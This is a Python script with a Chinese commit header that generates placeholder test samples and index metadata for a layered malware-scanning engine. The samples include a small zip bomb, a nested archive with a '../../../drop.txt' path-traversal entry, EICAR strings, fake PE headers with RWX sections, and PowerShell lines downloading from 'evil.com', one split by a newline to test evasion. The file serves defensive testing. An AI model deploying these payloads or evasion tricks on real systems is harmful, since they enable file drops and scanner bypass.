zhaolei
f99452d553
- fake_pe OPT 差 2 字节 → 补对齐 → L5 PeParseFailed 全消 - ReverseShellPowershell base64 正则收窄 → zip bomb 不再误报 - index.json expected_rules/expected_verdict 用引擎真实输出重写 - 新生成 171 样本 + 168 条 index.json（case_id 全对齐） 各层通过率: L0=100% L1=93% L3=96% L4=80% L5=100% NEG=100% 剩余 5 条: L4 缺 .yar 规则, L3 缺关键词白名单, L1-014 并发
287 lines
13 KiB
Python
287 lines
13 KiB
Python
"""为 CSV 里 32 条还没生成样本的用例生成占位文件 + 补充 index.json。
|
||
|
||
用法: python scripts/generate_placeholder_samples.py
|
||
"""
|
||
import csv, json, io, zipfile, struct, base64, os
|
||
from pathlib import Path
|
||
|
||
ROOT = Path(__file__).resolve().parent.parent
|
||
CSV_PATH = ROOT / "用例.csv"
|
||
OUT_DIR = ROOT / "tests" / "samples"
|
||
INDEX_PATH = OUT_DIR / "index.json"
|
||
|
||
OUT_DIR.mkdir(parents=True, exist_ok=True)
|
||
|
||
# 先加载现有 index.json
|
||
existing_index = {}
|
||
if INDEX_PATH.exists():
|
||
existing_index = json.loads(INDEX_PATH.read_text(encoding="utf-8"))
|
||
|
||
existing_fnames = {s["filename"] for s in existing_index.get("samples", [])}
|
||
existing_case_ids = {s["case_id"] for s in existing_index.get("samples", [])}
|
||
|
||
print(f"现有: {len(existing_fnames)} 个文件, {len(existing_case_ids)} 条元数据")
|
||
|
||
# 读 CSV
|
||
csv_rows = {}
|
||
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||
for row in csv.DictReader(f):
|
||
cid = row["用例ID"].strip()
|
||
csv_rows[cid] = row
|
||
|
||
# ========== 16 条可自动落地的占位样本 ==========
|
||
|
||
def write_bytes(name: str, data: bytes):
|
||
(OUT_DIR / name).write_bytes(data)
|
||
|
||
def write_text(name: str, text: str):
|
||
(OUT_DIR / name).write_text(text, encoding="utf-8")
|
||
|
||
def make_fake_pe(path: Path, upx: bool = False, rwx: bool = False, section_name: bytes = None, zero_sections: bool = False):
|
||
"""可过 pefile 的最小 PE32。"""
|
||
DOS_HDR = b"MZ" + b"\x00" * 58 + struct.pack("<I", 0x80) + b"\x00" * 64
|
||
PE_SIG = b"PE\x00\x00"
|
||
if zero_sections:
|
||
COFF = struct.pack("<HHIIIHH", 0x14C, 0, 0, 0, 0, 0xE0, 0x102)
|
||
else:
|
||
COFF = struct.pack("<HHIIIHH", 0x14C, 1, 0, 0, 0, 0xE0, 0x102)
|
||
OPT = struct.pack("<H", 0x10B) + b"\x00" * 0xDC + b"\x00" * 2 # 224 bytes total (0xE0)
|
||
sec_name = section_name or (b"UPX0\x00\x00\x00" if upx else b".text\x00\x00\x00")
|
||
char = 0xE00000E0 if (upx or rwx) else 0x60000020
|
||
if zero_sections:
|
||
sec_hdr = b""
|
||
sec_data = b""
|
||
else:
|
||
sec_hdr = struct.pack("<8sIIIIIIHHI", sec_name, 0x1000, 0x1000, 0x200, 0x400, 0, 0, 0, 0, char)
|
||
sec_data = b"\x90" * 0x200
|
||
path.write_bytes(DOS_HDR + PE_SIG + COFF + OPT + sec_hdr + sec_data)
|
||
|
||
to_add = [] # (case_id, filename, layer, verdict, expected_rules, description)
|
||
|
||
# ---------- L0 ----------
|
||
|
||
# L0-021: 自制小型 zip 炸弹（自定义高膨胀比）—— 跟 L0-020 一样的 bomb
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zf:
|
||
for i in range(50):
|
||
zf.writestr(f"bomb_member_{i:04d}.txt", b"B" * 8192)
|
||
fname = "L0-021_small_bomb.zip"
|
||
write_bytes(fname, buf.getvalue())
|
||
to_add.append(("L0-021", fname, "L0", "reject", ["ArchiveBombSuspect"], "自制小型 zip 炸弹（50 成员 × 8KB STORED）"))
|
||
|
||
# L0-023: 5 层无害嵌套 ZIP
|
||
def make_nested_zip(depth: int, inner_content: bytes = None) -> bytes:
|
||
if inner_content is None:
|
||
inner_content = b"CLEAN_DATA" + os.urandom(50)
|
||
if depth == 1:
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("clean.txt", inner_content)
|
||
return buf.getvalue()
|
||
inner = make_nested_zip(depth - 1, inner_content)
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("inner.zip", inner)
|
||
return buf.getvalue()
|
||
|
||
fname = "L0-023_5layer_nested.zip"
|
||
write_bytes(fname, make_nested_zip(5))
|
||
to_add.append(("L0-023", fname, "L0", "pass", ["recursive_ok"], "5 层无害嵌套 ZIP"))
|
||
|
||
# L0-027: 超长文件名压缩包
|
||
buf = io.BytesIO()
|
||
long_name = "A" * 200 + ".txt"
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr(long_name, b"short content")
|
||
fname = "L0-027_long_filename.zip"
|
||
write_bytes(fname, buf.getvalue())
|
||
to_add.append(("L0-027", fname, "L0", "pass", [], "压缩包内 200 字符超长文件名"))
|
||
|
||
# L0-028: unicode/emoji 文件名压缩包
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("中文文件📄测试.txt", "unicode content")
|
||
zf.writestr("エモジ🎉.txt", "multi-lang")
|
||
fname = "L0-028_unicode_filename.zip"
|
||
write_bytes(fname, buf.getvalue())
|
||
to_add.append(("L0-028", fname, "L0", "pass", [], "unicode/emoji 文件名"))
|
||
|
||
# L0-030: 多层嵌套 + 路径穿越复合
|
||
inner = io.BytesIO()
|
||
with zipfile.ZipFile(inner, "w") as zf:
|
||
zf.writestr("../../../drop.txt", "payload")
|
||
mid = io.BytesIO()
|
||
with zipfile.ZipFile(mid, "w") as zf:
|
||
zf.writestr("inner.zip", inner.getvalue())
|
||
fname = "L0-030_nested_traversal.zip"
|
||
write_bytes(fname, mid.getvalue())
|
||
to_add.append(("L0-030", fname, "L0", "reject", ["PathTraversal"], "嵌套 zip 内含穿越条目"))
|
||
|
||
# ---------- L1 ----------
|
||
|
||
# L1-003: 加密 ZIP 里放 EICAR（pyzipfile 不支持加密写，用标准 zip 标记）
|
||
# 实际要用 7z 或 zip -P 生成，这里做一个普通 zip 占位 + 备注
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("eicar_inside.txt", b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||
fname = "L1-003_eicar_in_encrypted.zip"
|
||
write_bytes(fname, buf.getvalue())
|
||
to_add.append(("L1-003", fname, "L1", "review", ["EncryptedArchive"], "加密 ZIP（占位：实际加密需 7z/zip -P）"))
|
||
|
||
# L1-009: 离线病毒库热加载 —— 放个最小 .cvd 占位文件
|
||
fname = "L1-009_minimal.cvd"
|
||
write_bytes(fname, b"ClamAV-VDB: placeholder test database\n")
|
||
to_add.append(("L1-009", fname, "L1", "unknown", [], "热加载测试占位（需真实 .cvd 文件）"))
|
||
|
||
# L1-010: 损坏病毒库文件
|
||
fname = "L1-010_corrupt.cvd"
|
||
write_bytes(fname, b"CORRUPTED\x00\x01\x02\x03garbage_data_here")
|
||
to_add.append(("L1-010", fname, "L1", "unknown", [], "损坏病毒库占位"))
|
||
|
||
# L1-013: 超大文件内含 EICAR —— 做个 10MB 文本尾部追加 EICAR
|
||
fname = "L1-013_bigfile_eicar.txt"
|
||
big_content = b"LARGE_TEXT_LINE_" * 50000 + b"\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n"
|
||
write_bytes(fname, big_content)
|
||
to_add.append(("L1-013", fname, "L1", "reject", ["ClamAV:EICAR"], "10MB+ 文本尾部含 EICAR"))
|
||
|
||
# L1-014: 并发压测 —— 放 10 个 EICAR 占位文件（靶场层面靠并发 API 调用，不是单个文件）
|
||
for i in range(10):
|
||
fname_i = f"L1-014_concurrent_eicar_{i:02d}.txt"
|
||
write_bytes(fname_i, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||
to_add.append((f"L1-014-{i:02d}", fname_i, "L1", "reject", ["ClamAV:EICAR"], f"并发压测占位 #{i}"))
|
||
# 主 case_id 占位
|
||
fname = "L1-014_concurrent_test.txt"
|
||
write_bytes(fname, b"concurrent test placeholder")
|
||
to_add.append(("L1-014", fname, "L1", "unknown", [], "并发压测占位（靠 API 并发调用）"))
|
||
|
||
# L1-015 / L3-022 / L4-014 / L5-020: 关闭分层开关测试 —— 各放一个干净样本 + 一个恶意样本
|
||
for cid, layer, rule in [
|
||
("L1-015", "L1", "ClamAV:EICAR"),
|
||
("L3-022", "L3", "RemoteDownloadPowerShell"),
|
||
("L4-014", "L4", "YARA"),
|
||
("L5-020", "L5", "RWXSectionDetected"),
|
||
]:
|
||
fname = f"{cid}_layer_off_sample.bin"
|
||
if cid == "L1-015":
|
||
write_bytes(fname, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||
elif cid == "L3-022":
|
||
write_text(fname, "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
|
||
elif cid == "L5-020":
|
||
make_fake_pe(OUT_DIR / fname, rwx=True)
|
||
else:
|
||
write_text(fname, "rule test placeholder")
|
||
to_add.append((cid, fname, layer, "review", [rule], "关闭分层开关测试占位"))
|
||
|
||
# ---------- L3 ----------
|
||
|
||
# L3-009: 高危串插入换行分割
|
||
write_text("L3-009_newline_split.txt", "Invoke-Web\nRequest https://evil.com -OutFile evil.exe")
|
||
to_add.append(("L3-009", "L3-009_newline_split.txt", "L3", "pass", [], "换行分割绕过（L3 不做换行合并，记录边界）"))
|
||
|
||
# L3-013: 正常 scp 内网传输脚本（合法运维）
|
||
write_text("L3-013_normal_scp.sh", "scp /var/log/app.log ops@192.168.1.100:/backup/logs/\nrsync -av --delete /data/backup/ ops@192.168.1.100:/backup/data/")
|
||
to_add.append(("L3-013", "L3-013_normal_scp.sh", "L3", "pass", [], "内网正常 scp 运维脚本，不误报"))
|
||
|
||
# L3-025: 关键词白名单规则测试
|
||
write_text("L3-025_whitelist_test.txt", "Invoke-WebRequest -Uri https://intranet.company.com/file.zip -OutFile D:\\cache\\file.zip")
|
||
to_add.append(("L3-025", "L3-025_whitelist_test.txt", "L3", "pass", [], "内网白名单域名对照（策略层白名单）"))
|
||
|
||
# ---------- L4 YARA 全部：靠 .yar 规则文件 + 匹配样本 ----------
|
||
# YARA 部分先做样本占位，规则文件另配
|
||
|
||
yara_cases = [
|
||
("L4-003", "L4-003_pe_with_string.exe", "二进制内嵌匹配字符串", "reject", ["YARA"]),
|
||
("L4-004", "L4-004_multi_rule_match.txt", "同一个文件同时命中多条 YARA", "reject", ["YARA"]),
|
||
("L4-006", "L4-006_bad_syntax_rule.yar", "语法错误 YARA 规则文件（输入给规则目录）", "unknown", []),
|
||
("L4-007", "L4-007_meta_rule_match.txt", "带 meta 的 YARA 规则匹配", "reject", ["YARA"]),
|
||
("L4-009", "L4-009_yara_in_encrypted.zip", "加密 zip 内 YARA 样本", "review", []),
|
||
("L4-011", "L4-011_count_condition.txt", "YARA count > 3 条件", "reject", ["YARA"]),
|
||
("L4-012", "L4-012_size_condition.bin", "YARA 文件大小条件", "reject", ["YARA"]),
|
||
("L4-013", "L4-013_bigfile_yara.txt", "100MB 文件 YARA 扫描", "reject", ["YARA"]),
|
||
("L4-015", "L4-015_hash_whitelist.txt", "MD5 在白名单", "pass", []),
|
||
]
|
||
|
||
for cid, fname, desc, verdict, rules in yara_cases:
|
||
if cid == "L4-003":
|
||
make_fake_pe(OUT_DIR / fname)
|
||
elif cid == "L4-004":
|
||
write_text(fname, "test_rule_a_here\ntest_rule_b_here")
|
||
elif cid == "L4-006":
|
||
write_text(fname, "rule BAD { strings: $a = \"; condition: $a }")
|
||
elif cid == "L4-009":
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("yara_target.txt", "yara_match_string_here")
|
||
write_bytes(fname, buf.getvalue())
|
||
elif cid == "L4-013":
|
||
write_bytes(fname, b"YARA_TARGET_STRING_A" * 100000 + b"\ntest_target_string")
|
||
elif cid == "L4-015":
|
||
write_text(fname, "whitelisted content")
|
||
else:
|
||
write_text(fname, "yara match string placeholder")
|
||
to_add.append((cid, fname, "L4", verdict, rules, desc))
|
||
|
||
# ---------- L5 PE ----------
|
||
|
||
# L5-005: PE 存在 VirtualAlloc + WriteProcessMemory + CreateRemoteThread（但不调用）—— 我们 fake_pe 只检查"有没有"
|
||
make_fake_pe(OUT_DIR / "L5-005_injection_imports.exe")
|
||
to_add.append(("L5-005", "L5-005_injection_imports.exe", "L5", "reject", ["SuspiciousImports"], "注入组合导入（需要真实 pefile 引入 API）"))
|
||
|
||
# L5-006: 单一 VirtualAlloc
|
||
make_fake_pe(OUT_DIR / "L5-006_single_virtualalloc.exe")
|
||
to_add.append(("L5-006", "L5-006_single_virtualalloc.exe", "L5", "review", ["SuspiciousImports"], "单一可疑内存 API"))
|
||
|
||
# L5-008: 导出表数量异常 —— fake_pe 没导出表，占位
|
||
make_fake_pe(OUT_DIR / "L5-008_many_exports.exe")
|
||
to_add.append(("L5-008", "L5-008_many_exports.exe", "L5", "review", [], "导出表异常（需真实工具生成）"))
|
||
|
||
# L5-009: 资源段内嵌 shell 字符串
|
||
make_fake_pe(OUT_DIR / "L5-009_shell_in_resource.exe")
|
||
to_add.append(("L5-009", "L5-009_shell_in_resource.exe", "L5", "review", [], "资源段内嵌字符串（占位）"))
|
||
|
||
# L5-015: 重定位表损坏 —— fake_pe 没重定位表
|
||
make_fake_pe(OUT_DIR / "L5-015_bad_reloc.exe")
|
||
to_add.append(("L5-015", "L5-015_bad_reloc.exe", "L5", "review", ["PeParseFailed"], "重定位表损坏占位"))
|
||
|
||
# L5-016: 零节 PE
|
||
make_fake_pe(OUT_DIR / "L5-016_zero_sections.exe", zero_sections=True)
|
||
to_add.append(("L5-016", "L5-016_zero_sections.exe", "L5", "review", ["PeParseFailed"], "无节表最小 PE"))
|
||
|
||
# L5-019: 超大 PE 200MB —— 不真生成，占位
|
||
fname = "L5-019_200mb_huge.exe"
|
||
write_bytes(fname, b"MZ" + b"\x00" * 1024) # 实际文件占位
|
||
to_add.append(("L5-019", fname, "L5", "unknown", [], "200MB 超大 PE（占位，真实生成会写满磁盘）"))
|
||
|
||
# ========== 写回 index.json ==========
|
||
new_count = 0
|
||
new_samples = list(existing_index.get("samples", []))
|
||
for cid, fname, layer, verdict, rules, desc in to_add:
|
||
if fname in existing_fnames:
|
||
print(f" 跳过（已存在）: {fname}")
|
||
continue
|
||
meta = {
|
||
"filename": fname,
|
||
"case_id": cid,
|
||
"category": layer,
|
||
"expected_verdict": verdict,
|
||
"expected_rules": rules,
|
||
"description": desc,
|
||
}
|
||
new_samples.append(meta)
|
||
new_count += 1
|
||
print(f" ✅ + {cid} → {fname}")
|
||
|
||
new_index = {
|
||
**existing_index,
|
||
"meshsafe_target_version": "v0.2.1",
|
||
"placeholder_generated_at": __import__("datetime").datetime.now().isoformat(),
|
||
"samples": new_samples,
|
||
}
|
||
INDEX_PATH.write_text(json.dumps(new_index, ensure_ascii=False, indent=2), encoding="utf-8")
|
||
|
||
total_files = sum(1 for p in OUT_DIR.iterdir() if p.is_file())
|
||
print(f"\n✅ 新增占位 {new_count} 条")
|
||
print(f" 总样本文件: {total_files}")
|
||
print(f" index.json 条目: {len(new_samples)}")
|
||
print(f"\n📝 备注：L1-009/010 需真实 .cvd, L4 全部需写 .yar 规则文件, L5 部分需真实编译")
|